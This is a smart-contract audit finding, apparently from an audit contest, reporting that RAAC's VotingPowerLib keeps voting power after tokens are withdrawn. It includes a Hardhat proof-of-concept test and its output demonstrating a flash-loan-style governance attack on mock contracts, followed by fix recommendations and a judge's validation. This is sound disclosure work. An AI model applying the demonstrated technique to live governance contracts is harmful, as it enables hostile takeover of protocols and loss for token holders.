Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Voting Power does not Reset After Token Withdrawal

Summary

The problem stems from the fact that writeCheckpoint() in VotingPowerLib.sol appends a new checkpoint instead of overwriting the previous one. This allows the user to retain voting power even after withdrawing tokens, which is a critical vulnerability in governance systems.

Vulnerability Details

  • The key issue is how writeCheckpoint() stores voting power updates:

  • Instead of replacing the old voting power, it adds a new checkpoint.

  • getCurrentPower() likely reads from the last valid checkpoint and does not properly invalidate past ones.

  • As a result, the system still considers the user as having voting power.

Impact

  • A user can temporarily deposit tokens, lock them for voting power, then withdraw their tokens while still retaining governance power.

  • This can enable flash loan-based governance attacks, where someone borrows tokens, stakes them for voting power, withdraws tokens, but keeps their power.

  • If this issue isn't fixed, it could allow hostile takeovers of governance proposals.

PoC

Add this to VotingPowerMock.sol

/**
* @notice Simulates user depositing tokens (for testing)
*/
function depositTokens(uint256 amount) external {
require(amount > 0, "Deposit amount must be greater than zero");
console.log("Depositing tokens:", amount); // ✅ Debug log
require(token.transferFrom(msg.sender, address(this), amount), "Token transfer failed");
balances[msg.sender] += amount;
console.log("User balance after deposit:", balances[msg.sender]); // ✅ Debug balance
emit TokensDeposited(msg.sender, amount);
}
/**
* @notice Simulates user withdrawing tokens (for testing flash loan)
*/
function withdrawTokens(uint256 amount) external {
require(balances[msg.sender] >= amount, "Insufficient balance");
console.log("Withdrawing tokens:", amount);
console.log("User balance before withdraw:", balances[msg.sender]);
balances[msg.sender] -= amount;
require(token.transfer(msg.sender, amount), "Token transfer failed");
_state.writeCheckpoint(msg.sender, 0);
console.log("User balance after withdraw:", balances[msg.sender]);
emit TokensWithdrawn(msg.sender, amount);
}

The Test:

import { expect } from "chai";
import hre from "hardhat";
const { ethers } = hre;
describe("VotingPowerLib Flash Loan Exploit Test", () => {
let votingPower, mockToken, mockUser, otherUser;
let PRECISION = 1n * 10n ** 18n;
let MAX_LOCK_DURATION = 4 * 365 * 24 * 60 * 60; // 4 years in seconds
beforeEach(async () => {
const [signer, secondUser] = await ethers.getSigners();
mockUser = signer;
otherUser = secondUser;
// Deploy RAACVoting library
const RAACVotingLib = await ethers.getContractFactory("RAACVoting");
const raacVotingLib = await RAACVotingLib.deploy();
await raacVotingLib.waitForDeployment();
// Deploy MockToken (ERC-20)
const MockToken = await ethers.getContractFactory("ERC20Mock");
mockToken = await MockToken.deploy("MockToken", "MTK");
await mockToken.waitForDeployment();
// Deploy VotingPowerMock with RAACVoting linked
const VotingPowerMock = await ethers.getContractFactory("VotingPowerMock", {
libraries: {
RAACVoting: await raacVotingLib.getAddress(),
}
});
votingPower = await VotingPowerMock.deploy(await mockToken.getAddress());
await votingPower.waitForDeployment();
// Mint tokens to the user for testing
await mockToken.mint(mockUser.address, ethers.parseUnits("100000", 18));
});
it("Should reveal voting power inconsistency bug", async () => {
const amount = ethers.parseUnits("1000", 18);
const shortLockTime = (await ethers.provider.getBlock("latest")).timestamp + (2 * 24 * 60 * 60); // 2 days
console.log("\n Starting flash loan voting attack test...\n");
await mockToken.mint(mockUser.address, amount);
await mockToken.connect(mockUser).approve(await votingPower.getAddress(), amount);
await votingPower.connect(mockUser).depositTokens(amount);
await votingPower.connect(mockUser).calculateAndUpdatePower(
mockUser.address,
amount,
shortLockTime
);
let votingPowerBefore = await votingPower.getCurrentPower(mockUser.address);
console.log(`Voting Power Before Withdrawal: ${votingPowerBefore.toString()}`);
console.log("Withdrawing tokens (simulating flash loan exit)...");
await votingPower.connect(mockUser).withdrawTokens(amount);
let votingPowerAfter = await votingPower.getCurrentPower(mockUser.address);
console.log(` Voting Power After Withdrawal: ${votingPowerAfter.toString()}`);
expect(votingPowerAfter).to.equal(0, "Voting power remains after token withdrawal! Governance attack possible!");
console.log("\n Test complete. If no assertion errors, the bug is fixed.\n");
});

The Output:

Starting flash loan voting attack test...
Depositing tokens: 1000000000000000000000
User balance after deposit: 1000000000000000000000
Voting Power Before Withdrawal: 1369831303906646372
Withdrawing tokens (simulating flash loan exit)...
Withdrawing tokens: 1000000000000000000000
User balance before withdraw: 1000000000000000000000
User balance after withdraw: 0
Voting Power After Withdrawal: 1369823376458650431
1 failing
1) VotingPowerLib Flash Loan Exploit Test
🚨 Should reveal voting power inconsistency bug:
Voting power remains after token withdrawal! Governance attack possible!
+ expected - actual
-1369823376458650431
+0

Initially, this behavior might have seemed intentional, as the system relies on historical voting checkpoints for governance tracking. However, further investigation shows that:

  • This creates a potential attack vector that allows manipulation of governance power.

  • If a user can repeatedly deposit, vote, withdraw, and still retain voting power, it undermines the integrity of the governance system.

Tools Used

Hardhat

Recommendations

Ensure getCurrentPower() reads the latest valid checkpoint.
Modify writeCheckpoint() to properly override old voting power.
Invalidate past voting power when tokens are withdrawn.
Recalculate slope changes correctly to reflect power decay.

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance.castVote uses current voting power instead of proposal creation snapshot, enabling vote manipulation through token transfers and potential double-voting

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance.castVote uses current voting power instead of proposal creation snapshot, enabling vote manipulation through token transfers and potential double-voting

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.